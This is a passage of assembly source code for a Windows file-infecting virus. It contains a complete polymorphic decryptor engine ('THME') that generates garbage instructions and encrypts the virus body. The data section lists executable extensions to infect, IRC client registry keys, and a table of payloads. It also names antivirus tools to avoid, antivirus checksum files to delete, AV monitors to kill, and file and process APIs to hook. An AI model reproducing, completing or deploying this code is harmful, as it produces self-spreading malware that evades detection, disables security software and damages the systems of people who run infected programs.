; ECX = Decryptor size
|
||
;
|
||
; All the other registers, preserved.
|
||
;
|
||
|
||
LIMIT equ 400h ; Decryptor size
|
||
|
||
RECURSION equ 05h ; The recursion level of THME
|
||
|
||
_EAX equ 00000000b ; All these are the numeric
|
||
_ECX equ 00000001b ; value of all the registers.
|
||
_EDX equ 00000010b ; Heh, i haven't used here
|
||
_EBX equ 00000011b ; all this, but... wtf? they
|
||
_ESP equ 00000100b ; don't waste bytes, and ma-
|
||
_EBP equ 00000101b ; ke this shit to be more
|
||
_ESI equ 00000110b ; clear :)
|
||
_EDI equ 00000111b ;
|
||
|
||
; [ PUSHAD structure ]
|
||
|
||
PUSHAD_EDI equ 00h
|
||
PUSHAD_ESI equ 04h
|
||
PUSHAD_EBP equ 08h
|
||
PUSHAD_ESP equ 0Ch
|
||
PUSHAD_EBX equ 10h
|
||
PUSHAD_EDX equ 14h
|
||
PUSHAD_ECX equ 18h
|
||
PUSHAD_EAX equ 1Ch
|
||
|
||
RETURN_ADDRESS equ 04h
|
||
|
||
; [ THME_CryptOp ]
|
||
|
||
_XOR equ 00000001b ; XOR / XOR \
|
||
_ADD equ 00000010b ; ADD / SUB > Base crypt
|
||
_SUB equ 00000100b ; SUB / ADD /
|
||
|
||
; mamamamamama weer creezy now...
|
||
|
||
salc equ
|
||
|
||
THME proc
|
||
pushad
|
||
call THME_InitVariables ; Initialize poly engine
|
||
|
||
call THME_BunchOfShit ; Garbage!
|
||
|
||
mov eax,sTHME_Decrypt1 ; Get decryptor order in its
|
||
call r_range ; first part
|
||
lea esi,[ebp+THME_Decrypt1+eax*4]
|
||
lodsd
|
||
add eax,ebp
|
||
xchg eax,esi
|
||
|
||
mov ecx,3 ; Generate real instruction
|
||
THME_BuildIt: ; plus some garbage
|
||
lodsd
|
||
add eax,ebp
|
||
push esi ecx
|
||
call eax
|
||
call THME_BunchOfShit
|
||
pop ecx esi
|
||
loop THME_BuildIt
|
||
|
||
call THME_BunchOfShit ; Generate the last part of
|
||
call THME_StoreLoop ; the poly
|
||
call THME_BunchOfShit
|
||
call THME_GenCryptOperations
|
||
call THME_BunchOfShit
|
||
call THME_GenIncPointer
|
||
call THME_BunchOfShit
|
||
call THME_GenDecCounter
|
||
call THME_GenLoop
|
||
call THME_BunchOfShit
|
||
|
||
mov al,0E9h ; Generate the JMP to the
|
||
stosb ; decrypted virus code
|
||
mov eax,LIMIT
|
||
mov ebx,edi
|
||
sub ebx,dword ptr [ebp+THME_Pointer]
|
||
add ebx,04h
|
||
sub eax,ebx
|
||
stosd
|
||
|
||
xchg eax,ecx ; Fill with shit the rest
|
||
THME_FillTheRest:
|
||
call random
|
||
stosb
|
||
loop THME_FillTheRest
|
||
|
||
call THME_CryptData
|
||
|
||
call THME_ClosePoly
|
||
popad
|
||
ret
|
||
|
||
db 00h,"[THME v1.00]",00h
|
||
|
||
THME_InitVariables:
|
||
mov dword ptr [ebp+THME_Pointer],edi ; Save all given data
|
||
mov dword ptr [ebp+THME_Data2crypt],esi
|
||
mov dword ptr [ebp+THME_S2C_div4],ecx
|
||
and byte ptr [ebp+THME_Recursion],00h
|
||
THME_IV_GetCounter: ; Get a valid register for
|
||
mov eax,08h ; use as counter
|
||
call r_range
|
||
or eax,eax
|
||
jz THME_IV_GetCounter
|
||
cmp eax,_ESP
|
||
jz THME_IV_GetCounter
|
||
mov byte ptr [ebp+THME_CounterReg],al
|
||
mov ebx,eax
|
||
THME_IV_GetPointer: ; Get a valid register for
|
||
mov eax,08h ; use as a pointer
|
||
call r_range
|
||
or eax,eax
|
||
jz THME_IV_GetPointer
|
||
cmp eax,_ESP
|
||
jz THME_IV_GetPointer
|
||
cmp eax,ebx
|
||
jz THME_IV_GetPointer
|
||
mov byte ptr [ebp+THME_PointerReg],al
|
||
mov ecx,eax
|
||
|
||
THME_IV_GetDelta: ; Get a valid register for
|
||
mov eax,08h ; use as delta
|
||
call r_range
|
||
or eax,eax
|
||
jz THME_IV_GetDelta
|
||
cmp eax,_ESP
|
||
jz THME_IV_GetDelta
|
||
cmp eax,ebx
|
||
jz THME_IV_GetDelta
|
||
cmp eax,ecx
|
||
jz THME_IV_GetDelta
|
||
mov byte ptr [ebp+THME_DeltaReg],al
|
||
|
||
call random ; Get math operation for crypt
|
||
and al,00000111b
|
||
mov byte ptr [ebp+THME_CryptOp],al
|
||
|
||
mov dword ptr [edi],"EMHT" ; Mark :)
|
||
ret
|
||
|
||
THME_ClosePoly: ; Return in ECX the size of
|
||
mov ecx,edi ; the engine (not needed)
|
||
sub ecx,dword ptr [ebp+THME_Pointer]
|
||
mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx
|
||
ret
|
||
|
||
; THME_GETREGISTER
|
||
;
|
||
; input:
|
||
; Nothing.
|
||
; output:
|
||
; AL = Register unused by the decryptor
|
||
;
|
||
|
||
THME_GetRegister:
|
||
movzx ebx,byte ptr [ebp+THME_CounterReg]
|
||
movzx ecx,byte ptr [ebp+THME_PointerReg]
|
||
movzx edx,byte ptr [ebp+THME_DeltaReg]
|
||
THME_GR_GetIt:
|
||
mov eax,08h ; Get a register
|
||
call r_range
|
||
cmp eax,_ESP ; Mustn't be ESP
|
||
jz THME_GR_GetIt
|
||
cmp eax,ebx ; Mustn't be equal to counter
|
||
jz THME_GR_GetIt
|
||
cmp eax,ecx ; Mustn't be equal to pointer
|
||
jz THME_GR_GetIt
|
||
cmp eax,edx ; Mustn't be equal to delta
|
||
jz THME_GR_GetIt
|
||
ret
|
||
|
||
; Garbage generator (recursion depht = 3)
|
||
|
||
THME_GenGarbage:
|
||
inc byte ptr [ebp+THME_Recursion] ; Increase recursivity
|
||
cmp byte ptr [ebp+THME_Recursion],RECURSION ; Over our limit?
|
||
jae THME_GG_Exit ; Shitz...
|
||
|
||
mov eax,sTHME_GBG_Table ; Select a garbage generator
|
||
call r_range ; from our table
|
||
lea ebx,[ebp+THME_GBG_Table]
|
||
mov eax,[ebx+eax*4]
|
||
add eax,ebp
|
||
call eax ; Call it
|
||
|
||
THME_GG_Exit:
|
||
dec byte ptr [ebp+THME_Recursion] ; Decrease recursion level
|
||
ret
|
||
|
||
; Call 6 times to the garbage generator
|
||
|
||
THME_BunchOfShit:
|
||
mov ecx,0Ch
|
||
THME_BOS_Loop:
|
||
push ecx
|
||
call THME_GenGarbage
|
||
pop ecx
|
||
loop THME_BOS_Loop
|
||
ret
|
||
|
||
; THME_GBGB_GETVALIDRIB
|
||
;
|
||
; input:
|
||
; Nothing.
|
||
; output:
|
||
; AL = RegInfoByte that could be used for garbage regxx/regxx
|
||
;
|
||
|
||
THME_GBG_GetValidRiB:
|
||
xor eax,eax
|
||
call THME_GetRegister ; Get a valid register for be
|
||
mov ecx,eax ; the target
|
||
shl eax,3
|
||
push eax
|
||
THME_GBG_GVRiB:
|
||
mov eax,8 ; Get any register for be used
|
||
call r_range ; as source
|
||
cmp eax,ecx
|
||
jz THME_GBG_GVRiB ; Can't be source=target
|
||
xchg ebx,eax
|
||
pop eax
|
||
add eax,ebx
|
||
add al,11000000b ; Fix this
|
||
ret
|
||
|
||
; ---
|
||
|
||
THME_GBG_Arithmetic_EAX_IMM32:
|
||
call random
|
||
and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
|
||
or al,00000101b
|
||
stosb
|
||
call random
|
||
stosd
|
||
ret
|
||
|
||
THME_GBG_Arithmetic_REG32_REG32:
|
||
call random
|
||
and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
|
||
or al,00000011b
|
||
stosb
|
||
THME_GBG_A_R32_R32_GR:
|
||
call THME_GetRegister ; Don't use EAX
|
||
or al,al
|
||
jz THME_GBG_A_R32_R32_GR
|
||
shl eax,3
|
||
add al,11000000b
|
||
push eax
|
||
call random
|
||
and al,00000111b
|
||
xchg ebx,eax
|
||
pop eax
|
||
add al,bl
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_Arithmetic_REG32_IMM32:
|
||
mov al,81h ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
|
||
stosb
|
||
THME_GBG_A_R32_I32_GR:
|
||
call THME_GetRegister
|
||
or al,al
|
||
jz THME_GBG_A_R32_I32_GR
|
||
push eax
|
||
call random
|
||
and al,00111000b
|
||
add al,11000000b
|
||
pop ebx
|
||
add al,bl
|
||
stosb
|
||
call random
|
||
stosd
|
||
ret
|
||
|
||
THME_GBG_GenOneByter:
|
||
mov eax,sTHME_OneByters ; NOP/LAHF/INC EAX/DEC EAX/STI/CLD/
|
||
call r_range ; CMC/STC/CLC
|
||
mov al,[ebp+THME_OneByters+eax]
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_GenCopro:
|
||
cmp byte ptr [ebp+THME_CoproInit],00h ; If first call, put a FINIT
|
||
jz THME_GC_GenFINIT
|
||
mov eax,sTHME_OneByters ; If not, put any copro opcode
|
||
call r_range
|
||
|
||
lea ebx,[ebp+THME_Copro]
|
||
movzx eax,word ptr [ebx+eax*2]
|
||
stosw
|
||
ret
|
||
|
||
THME_GC_GenFINIT:
|
||
inc byte ptr [ebp+THME_CoproInit]
|
||
mov ax,0E3DBh ; FINIT
|
||
stosw
|
||
ret
|
||
|
||
THME_GBG_MOV_REG16_REG16:
|
||
mov al,66h ; MOV ?X,?X
|
||
stosb
|
||
call THME_GBG_GetValidRiB
|
||
push eax
|
||
mov al,08Bh
|
||
stosb
|
||
pop eax
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_MOV_REG16_IMM16:
|
||
mov al,66h ; MOV ?X,????
|
||
stosb
|
||
call THME_GetRegister
|
||
add al,0B8h
|
||
stosb
|
||
call random
|
||
stosw
|
||
ret
|
||
|
||
THME_GBG_MOV_REG32_REG32:
|
||
call THME_GBG_GetValidRiB ; MOV E??,E??
|
||
push eax
|
||
mov al,8Bh
|
||
stosb
|
||
pop eax
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_MOV_REG32_IMM32:
|
||
call THME_GetRegister ; MOV E??,????????
|
||
add al,0B8h
|
||
stosb
|
||
call random
|
||
stosd
|
||
ret
|
||
|
||
THME_GBG_GenPUSHPOP: ; PUSH E??
|
||
mov eax,8 ; ...
|
||
call r_range ; POP E??
|
||
add al,50h
|
||
stosb
|
||
call THME_GenGarbage
|
||
call THME_GetRegister
|
||
add al,58h
|
||
stosb
|
||
ret
|
||
|
||
THME_GBG_GenCALL_Type1: ; CALL @@1
|
||
mov al,0E8h ; ...
|
||
stosb ; JMP @@2
|
||
xor eax,eax ; ...
|
||
stosd ; @@1:
|
||
push edi ; ...
|
||
call THME_GenGarbage ; RET
|
||
mov al,0E9h ; ...
|
||
stosb ; @@2:
|
||
xor eax,eax ; ...
|
||
stosd
|
||
push edi
|
||
call THME_GenGarbage
|
||
mov al,0C3h
|
||
stosb
|
||
call THME_GenGarbage
|
||
mov ebx,edi
|
||
pop edx
|
||
sub ebx,edx
|
||
mov [edx-4],ebx
|
||
pop ecx
|
||
sub edx,ecx
|
||
mov [ecx-4],edx
|
||
ret
|
||
|
||
; ---
|
||
|
||
THME_CryptData: ; Encrypt given data with proper operation
|
||
mov esi,dword ptr [ebp+THME_Data2crypt]
|
||
mov edi,esi
|
||
mov ecx,dword ptr [ebp+THME_S2C_div4]
|
||
THME_CD_EncryptLoop:
|
||
lodsd
|
||
push ecx
|
||
call THME_DoCryptOperations
|
||
pop ecx
|
||
stosd
|
||
loop THME_CD_EncryptLoop
|
||
ret
|
||
|
||
THME_DoCryptOperations:
|
||
test byte ptr [ebp+THME_CryptOp],_XOR
|
||
jz THME_DCO_XOR
|
||
test byte ptr [ebp+THME_CryptOp],_ADD
|
||
jz THME_DCO_ADD
|
||
THME_DCO_SUB:
|
||
add eax,dword ptr [ebp+THME_Key1]
|
||
jmp THME_DCO_EXIT
|
||
THME_DCO_ADD:
|
||
sub eax,dword ptr [ebp+THME_Key1]
|
||
jmp THME_DCO_EXIT
|
||
THME_DCO_XOR:
|
||
xor eax,dword ptr [ebp+THME_Key1]
|
||
THME_DCO_EXIT:
|
||
ret
|
||
|
||
; ---
|
||
|
||
THME_GenDeltaOffset: ; CALL @@1
|
||
mov eax,10h ; ...
|
||
call r_range ; @@1:
|
||
xchg eax,ebx ; POP E??
|
||
mov al,0E8h
|
||
stosb
|
||
xor eax,eax
|
||
stosd
|
||
mov dword ptr [ebp+THME_GDO_TmpCll],edi
|
||
call THME_GenGarbage
|
||
mov ecx,dword ptr [ebp+THME_GDO_TmpCll]
|
||
mov ebx,edi
|
||
sub ebx,ecx
|
||
mov [ecx-4],ebx
|
||
mov al,58h
|
||
add al,byte ptr [ebp+THME_DeltaReg]
|
||
stosb
|
||
mov ebx,dword ptr [ebp+THME_Pointer]
|
||
sub ecx,ebx
|
||
mov dword ptr [ebp+THME_Fix1],ecx
|
||
ret
|
||
|
||
THME_GenLoadSize:
|
||
mov eax,2
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GLS_@@2
|
||
THME_GLS_@@1:
|
||
mov al,68h ; PUSH ????????
|
||
; ...
|
||
stosb ; POP E??
|
||
mov eax,dword ptr [ebp+THME_S2C_div4]
|
||
stosd
|
||
call THME_GenGarbage
|
||
mov al,58h
|
||
add al,byte ptr [ebp+THME_CounterReg]
|
||
stosb
|
||
ret
|
||
THME_GLS_@@2:
|
||
movzx eax,byte ptr [ebp+THME_CounterReg]
|
||
add eax,0B8h ; MOV E??,????????
|
||
stosb
|
||
mov eax,dword ptr [ebp+THME_S2C_div4]
|
||
stosd
|
||
ret
|
||
|
||
THME_GenLoadPointer:
|
||
mov al,8Dh ; LEA E??,[E??+????????]
|
||
stosb
|
||
movzx eax,byte ptr [ebp+THME_PointerReg]
|
||
shl al,3
|
||
add al,10000000b
|
||
add al,byte ptr [ebp+THME_DeltaReg]
|
||
stosb
|
||
mov eax,LIMIT
|
||
sub eax,dword ptr [ebp+THME_Fix1]
|
||
stosd
|
||
ret
|
||
|
||
THME_StoreLoop:
|
||
mov dword ptr [ebp+THME_LoopAddress],edi
|
||
ret
|
||
|
||
THME_GenCryptOperations:
|
||
mov al,81h
|
||
stosb
|
||
test byte ptr [ebp+THME_CryptOp],_XOR
|
||
jz THME_GCO_XOR
|
||
test byte ptr [ebp+THME_CryptOp],_ADD
|
||
jz THME_GCO_ADD
|
||
THME_GCO_SUB:
|
||
mov al,28h ; SUB [E??],????????
|
||
jmp THME_GCO_BuildRiB
|
||
THME_GCO_ADD:
|
||
xor al,al ; ADD [E??],????????
|
||
jmp THME_GCO_BuildRiB
|
||
THME_GCO_XOR:
|
||
mov al,30h ; XOR [E??],????????
|
||
THME_GCO_BuildRiB:
|
||
add al,byte ptr [ebp+THME_PointerReg]
|
||
cmp byte ptr [ebp+THME_PointerReg],_EBP
|
||
jnz THME_GCO_BR_NoEBP
|
||
or al,01000000b
|
||
stosb
|
||
xor al,al
|
||
stosb
|
||
jmp $+3
|
||
THME_GCO_BR_NoEBP:
|
||
stosb
|
||
call random
|
||
mov dword ptr [ebp+THME_Key1],eax
|
||
stosd
|
||
THME_GCO_EXIT:
|
||
ret
|
||
|
||
THME_GenIncPointer:
|
||
mov eax,5
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GIP_@@2
|
||
dec ecx
|
||
jecxz THME_GIP_@@3
|
||
dec ecx
|
||
jecxz THME_GIP_@@4
|
||
dec ecx
|
||
jnz THME_GIP_@@1
|
||
jmp THME_GIP_@@5
|
||
|
||
THME_GIP_@@1:
|
||
mov bl,4 ; ADD E??,4
|
||
call THME_GIP_AddIt
|
||
jmp THME_GIP_EXIT
|
||
|
||
THME_GIP_@@2:
|
||
mov eax,2
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GIP_@@2_@@2
|
||
THME_GIP_@@2_@@1:
|
||
mov bl,3 ; ADD E??,3
|
||
call THME_GIP_AddIt
|
||
mov bl,1 ; INC E??
|
||
call THME_GIP_IncIt
|
||
jmp THME_GIP_@@2_EXIT
|
||
THME_GIP_@@2_@@2:
|
||
mov bl,1 ; INC E??
|
||
call THME_GIP_IncIt
|
||
mov bl,3
|
||
call THME_GIP_AddIt ; ADD E??,3
|
||
THME_GIP_@@2_EXIT:
|
||
jmp THME_GIP_EXIT
|
||
|
||
THME_GIP_@@3:
|
||
mov eax,2
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GIP_@@3_@@2
|
||
THME_GIP_@@3_@@1:
|
||
mov bl,2 ; ADD E??,2
|
||
call THME_GIP_AddIt
|
||
mov bl,2 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
jmp THME_GIP_@@2_EXIT
|
||
THME_GIP_@@3_@@2:
|
||
mov bl,2 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
mov bl,2 ; ADD E??,2
|
||
call THME_GIP_AddIt
|
||
jmp THME_GIP_@@2_EXIT
|
||
|
||
THME_GIP_@@4:
|
||
mov eax,2
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GIP_@@4_@@2
|
||
THME_GIP_@@4_@@1:
|
||
mov bl,1 ; ADD E??,1
|
||
call THME_GIP_AddIt ; INC E??
|
||
mov bl,3 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
jmp THME_GIP_@@2_EXIT
|
||
THME_GIP_@@4_@@2:
|
||
mov bl,1 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
mov bl,3 ; INC E??
|
||
call THME_GIP_AddIt ; ADD E??,1
|
||
jmp THME_GIP_@@2_EXIT
|
||
|
||
THME_GIP_@@5: ; INC E??
|
||
mov bl,4 ; INC E??
|
||
call THME_GIP_IncIt ; INC E??
|
||
; INC E??
|
||
|
||
THME_GIP_EXIT:
|
||
ret
|
||
|
||
THME_GIP_AddIt:
|
||
mov al,83h
|
||
stosb
|
||
mov al,byte ptr [ebp+THME_PointerReg]
|
||
or al,11000000b
|
||
stosb
|
||
mov al,bl
|
||
stosb
|
||
ret
|
||
|
||
THME_GIP_IncIt:
|
||
movzx ecx,bl
|
||
mov al,40h
|
||
add al,byte ptr [ebp+THME_PointerReg]
|
||
THME_GIP_II_Loop:
|
||
stosb
|
||
pushad
|
||
call THME_GenGarbage
|
||
popad
|
||
loop THME_GIP_II_Loop
|
||
ret
|
||
|
||
THME_GenDecCounter:
|
||
mov eax,3
|
||
call r_range
|
||
xchg eax,ecx
|
||
jecxz THME_GDC_@@2
|
||
dec ecx
|
||
jecxz THME_GDC_@@3
|
||
THME_GDC_@@1: ; SUB E??,1
|
||
mov al,83h
|
||
stosb
|
||
mov al,byte ptr [ebp+THME_CounterReg]
|
||
or al,11101000b
|
||
stosb
|
||
mov al,1
|
||
stosb
|
||
jmp THME_GDC_EXIT
|
||
THME_GDC_@@2:
|
||
mov al,48h ; DEC E??
|
||
add al,byte ptr [ebp+THME_CounterReg]
|
||
stosb
|
||
jmp THME_GDC_EXIT
|
||
THME_GDC_@@3:
|
||
mov al,83h ; ADD E??,-1
|
||
stosb
|
||
mov al,byte ptr [ebp+THME_CounterReg]
|
||
or al,11000000b
|
||
stosb
|
||
mov al,0FFh
|
||
stosb
|
||
THME_GDC_EXIT:
|
||
ret
|
||
|
||
THME_GenLoop:
|
||
mov ax,850Fh ; JNZ FAR ????????
|
||
stosw
|
||
mov eax,dword ptr [ebp+THME_LoopAddress]
|
||
sub eax,edi
|
||
sub eax,00000004h
|
||
stosd
|
||
ret
|
||
|
||
THME_OneByters label byte
|
||
cld
|
||
cmc
|
||
clc
|
||
stc
|
||
dec eax
|
||
inc eax
|
||
lahf
|
||
nop
|
||
salc
|
||
sTHME_OneByters equ ($-THME_OneByters)
|
||
|
||
THME_Copro label byte
|
||
f2xm1
|
||
fabs
|
||
fadd
|
||
faddp
|
||
fchs
|
||
fnclex
|
||
fcom
|
||
fcomp
|
||
fcompp
|
||
fcos
|
||
fdecstp
|
||
fdiv
|
||
fdivp
|
||
fdivr
|
||
fdivrp
|
||
ffree
|
||
fincstp
|
||
fld1
|
||
fldl2t
|
||
fldl2e
|
||
fldpi
|
||
fldln2
|
||
fldz
|
||
fmul
|
||
fmulp
|
||
fnclex
|
||
fnop
|
||
fpatan
|
||
fprem
|
||
fprem1
|
||
fptan
|
||
frndint
|
||
fscale
|
||
fsin
|
||
fsincos
|
||
fsqrt
|
||
fst
|
||
fstp
|
||
fsub
|
||
fsubp
|
||
fsubr
|
||
fsubrp
|
||
ftst
|
||
fucom
|
||
fucomp
|
||
fucompp
|
||
fxam
|
||
fxtract
|
||
fyl2x
|
||
fyl2xp1
|
||
sTHME_Copro equ (($-THME_Copro)/2)
|
||
|
||
; Possibilities before crypt operation
|
||
|
||
THME_Decrypt1 label byte
|
||
dd offset (THME_Decrypt1a)
|
||
dd offset (THME_Decrypt1b)
|
||
dd offset (THME_Decrypt1c)
|
||
sTHME_Decrypt1 equ (($-THME_Decrypt1)/4)
|
||
|
||
THME_Decrypt1a label byte
|
||
dd offset (THME_GenDeltaOffset)
|
||
dd offset (THME_GenLoadSize)
|
||
dd offset (THME_GenLoadPointer)
|
||
sTHME_Decrypt1a equ (($-THME_Decrypt1a)/4)
|
||
|
||
THME_Decrypt1b label byte
|
||
dd offset (THME_GenDeltaOffset)
|
||
dd offset (THME_GenLoadPointer)
|
||
dd offset (THME_GenLoadSize)
|
||
sTHME_Decrypt1b equ (($-THME_Decrypt1b)/4)
|
||
|
||
THME_Decrypt1c label byte
|
||
dd offset (THME_GenLoadSize)
|
||
dd offset (THME_GenDeltaOffset)
|
||
dd offset (THME_GenLoadPointer)
|
||
sTHME_Decrypt1c equ (($-THME_Decrypt1c)/4)
|
||
|
||
; Main table (for garbage generation)
|
||
|
||
THME_GBG_Table label byte
|
||
dd offset (THME_GBG_Arithmetic_EAX_IMM32)
|
||
dd offset (THME_GBG_Arithmetic_REG32_REG32)
|
||
dd offset (THME_GBG_Arithmetic_REG32_IMM32)
|
||
dd offset (THME_GBG_MOV_REG16_REG16)
|
||
dd offset (THME_GBG_MOV_REG16_IMM16)
|
||
dd offset (THME_GBG_MOV_REG32_REG32)
|
||
dd offset (THME_GBG_MOV_REG32_IMM32)
|
||
dd offset (THME_GBG_GenOneByter)
|
||
dd offset (THME_GBG_GenCopro)
|
||
dd offset (THME_GBG_GenPUSHPOP)
|
||
dd offset (THME_GBG_GenCALL_Type1)
|
||
sTHME_GBG_Table equ (($-THME_GBG_Table)/4)
|
||
|
||
thme_end label byte
|
||
|
||
THME endp
|
||
|
||
; ===========================================================================
|
||
; Random procedures
|
||
; ===========================================================================
|
||
;
|
||
; RANDOM
|
||
;
|
||
; input:
|
||
; Nothing.
|
||
; output:
|
||
; EAX = Random number
|
||
;
|
||
|
||
random proc ; Thanx MDriller! ;)
|
||
push ecx
|
||
mov eax,dword ptr [ebp+rnd_seed1]
|
||
dec dword ptr [ebp+rnd_seed1]
|
||
xor eax,dword ptr [ebp+rnd_seed2]
|
||
mov ecx,eax
|
||
rol dword ptr [ebp+rnd_seed1],cl
|
||
add dword ptr [ebp+rnd_seed2],eax
|
||
adc eax,dword ptr [ebp+rnd_seed2]
|
||
add eax,ecx
|
||
ror eax,cl
|
||
not eax
|
||
sub eax,3
|
||
xor dword ptr [ebp+rnd_seed2],eax
|
||
xor eax,dword ptr [ebp+rnd_seed3]
|
||
rol dword ptr [ebp+rnd_seed3],1
|
||
sub dword ptr [ebp+rnd_seed3],ecx
|
||
sbb dword ptr [ebp+rnd_seed3],4
|
||
inc dword ptr [ebp+rnd_seed2]
|
||
pop ecx
|
||
ret
|
||
random endp
|
||
|
||
; R_RANGE
|
||
;
|
||
; input:
|
||
; EAX = Number of possible random numbers
|
||
; output:
|
||
; EAX = Number between 0 and (EAX-1)
|
||
|
||
r_range proc
|
||
push ecx
|
||
push edx
|
||
mov ecx,eax
|
||
call random
|
||
xor edx,edx
|
||
div ecx
|
||
mov eax,edx
|
||
pop edx
|
||
pop ecx
|
||
ret
|
||
r_range endp
|
||
|
||
; ===========================================================================
|
||
; Virus data
|
||
; ===========================================================================
|
||
; I went to god just to see, and i was looking at me.
|
||
|
||
_MASK db "*."
|
||
EXTENSION dd 00000000h
|
||
|
||
EXTENSIONS db "EXE",0 ; Nice table: very easy to
|
||
db "SCR",0 ; add new extensions to infect
|
||
db "CPL",0
|
||
n_EXT equ (($-offset EXTENSIONS)/4)
|
||
|
||
ALL_MASK db "*.*",0
|
||
|
||
dotdot db "..",0
|
||
root db "c:\",0 ; Don't be afraid... :)
|
||
|
||
key_mIRC db "iKX\Thorin\mIRC32",0
|
||
key_PIRCH db "iKX\Thorin\Pirch32",0
|
||
key_ViRC97 db "iKX\Thorin\ViRC97",0
|
||
|
||
; Whoaaaaa... many many many payloads!
|
||
|
||
payload_table label byte
|
||
dd offset (payload1)
|
||
dd offset (payload2)
|
||
dd offset (payload3)
|
||
dd offset (payload4)
|
||
dd offset (payload5)
|
||
payload_number equ (($-offset payload_table)/4)
|
||
|
||
infections dd 00000000h
|
||
imagebase dd imagebase_
|
||
kernel dd kernel_
|
||
|
||
K32_DLL db "KERNEL32.dll",0
|
||
K32_Size equ $-K32_DLL
|
||
|
||
szSHELL32 db "SHELL32",0
|
||
szUSER32 db "USER32",0
|
||
szADVAPI32 db "ADVAPI32",0
|
||
|
||
szOPEN db "OPEN",0
|
||
szMicro$oft db "http://www.microsoft.com",0 ; Yaaaaaaargh!!!
|
||
|
||
; @@BadProgramz structure
|
||
; ???????????????????????
|
||
; +02h String Size
|
||
; +??h First letters (string size) of files we don't want to be infected
|
||
|
||
@@BadProgramz label byte
|
||
db 02h,"TB" ; ThunderByte?
|
||
db 02h,"F-" ; F-Prot?
|
||
db 03h,"NAV" ; Norton Antivirus?
|
||
db 03h,"AVP" ; AVP?
|
||
db 03h,"WEB" ; DrWeb?
|
||
db 03h,"PAV" ; Panda?
|
||
db 03h,"DRW" ; DrWeb?
|
||
db 04h,"DSAV" ; Dr Solomon?
|
||
db 03h,"NOD" ; Nod-Ice?
|
||
db 06h,"WINICE" ; SoftIce?
|
||
db 06h,"FORMAT" ; Format?
|
||
db 05h,"FDISK" ; Fdisk?
|
||
db 08h,"SCANDSKW" ; ScanDisk?
|
||
db 06h,"DEFRAG" ; Defrag?
|
||
db 0BBh
|
||
|
||
@@BadPhilez label byte ; Files to delete in all dirz
|
||
ANTIVIR_DAT db "ANTI-VIR.DAT",0
|
||
CHKLIST_DAT db "CHKLIST.DAT",0
|
||
CHKLIST_TAV db "CHKLIST.TAV",0
|
||
CHKLIST_MS db "CHKLIST.MS",0
|
||
CHKLIST_CPS db "CHKLIST.CPS",0
|
||
AVP_CRC db "AVP.CRC",0
|
||
IVB_NTZ db "IVB.NTZ",0
|
||
SMARTCHK_MS db "SMARTCHK.MS",0
|
||
SMARTCHK_CPS db "SMARTCHK.CPS",0
|
||
|
||
Monitors2Kill label byte
|
||
db "AVP Monitor",0
|
||
db "Amon Antivirus Monitor",0
|
||
db 0BBh
|
||
|
||
|
||
; @@Hookz structure
|
||
; ?????????????????
|
||
; +00h API Name
|
||
; +??h Bytes from beginning of virus until beginning of hook handler
|
||
|
||
@@Hookz label byte
|
||
?szMoveFileA db "MoveFileA",0
|
||
?hnMoveFileA dd (offset HookMoveFileA)
|
||
|
||
?szCopyFileA db "CopyFileA",0
|
||
?hnCopyFileA dd (offset HookCopyFileA)
|
||
|
||
?szGetFullPathNameA db "GetFullPathNameA",0
|
||
?hnGetFullPathNameA dd (offset HookGetFullPathNameA)
|
||
|
||
?szDeleteFileA db "DeleteFileA",0
|
||
?hnDeleteFileA dd (offset HookDeleteFileA)
|
||
|
||
?szWinExec db "WinExec",0
|
||
?hnWinExec dd (offset HookWinExec)
|
||
|
||
?szCreateProcessA db "CreateProcessA",0
|
||
?hnCreateProcessA dd (offset HookCreateProcessA)
|
||
|
||
?szCreateFileA db "CreateFileA",0
|
||
?hnCreateFileA dd (offset HookCreateFileA)
|
||
|
||
?szGetFileAttributesA db "GetFileAttributesA",0
|
||
?hnGetFileAttributesA dd (offset HookGetFileAttributesA)
|
||
|
||
?szFindFirstFileA db "FindFirstFileA",0
|
||
?hnFindFirstFileA dd (offset HookFindFirstFileA)
|
||
|
||
?szFindNextFileA db "FindNextFileA",0
|
||
?hnFindNextFileA dd (offset HookFindNextFileA)
|
||
|
||
?szHookGetProcAddress db "GetProcAddress",0
|
||
?hnHookGetProcAddress dd (offset HookGetProcAddress)
|
||
|
||
db "" ; How funny ;)
|
||
|
||
@IsDebuggerPresent db "IsDebuggerPresent",0
|
||
|
||
; Hrm, i think i should write some compression engine for that API shit :)
|
||
|
||
@@Namez label byte
|
||
@GetModuleHandleA db "GetModuleHandleA",0
|
||
@LoadLibraryA db "LoadLibraryA",0
|
||
@FindClose db "FindClose",0
|
||
@SetFilePointer db "SetFilePointer",0
|
||
@SetFileAttributesA db "SetFileAttributesA",0
|
||
@CloseHandle db "CloseHandle",0
|
||
@GetCurrentDirectoryA db "GetCurrentDirectoryA",0
|
||
@SetCurrentDirectoryA db "SetCurrentDirectoryA",0
|
||
@GetWindowsDirectoryA db "GetWindowsDirectoryA",0
|
||
@GetSystemDirectoryA db "GetSystemDirectoryA",0
|
||
@CreateFileMappingA db "CreateFileMappingA",0
|
||
@MapViewOfFile db "MapViewOfFile",0
|
||
@UnmapViewOfFile db "UnmapViewOfFile",0
|
||
@SetEndOfFile db "SetEndOfFile",0
|
||
@WriteFile db "WriteFile",0
|
||
@GetTickCount db "GetTickCount",0
|
||
@GetVersion db "GetVersion",0
|
||
@GlobalAlloc db "GlobalAlloc",0
|
||
@GlobalFree db "GlobalFree",0
|
||
@GetFileSize db "GetFileSize",0
|
||
@SetVolumeLabelA db "SetVolumeLabelA",0
|
||
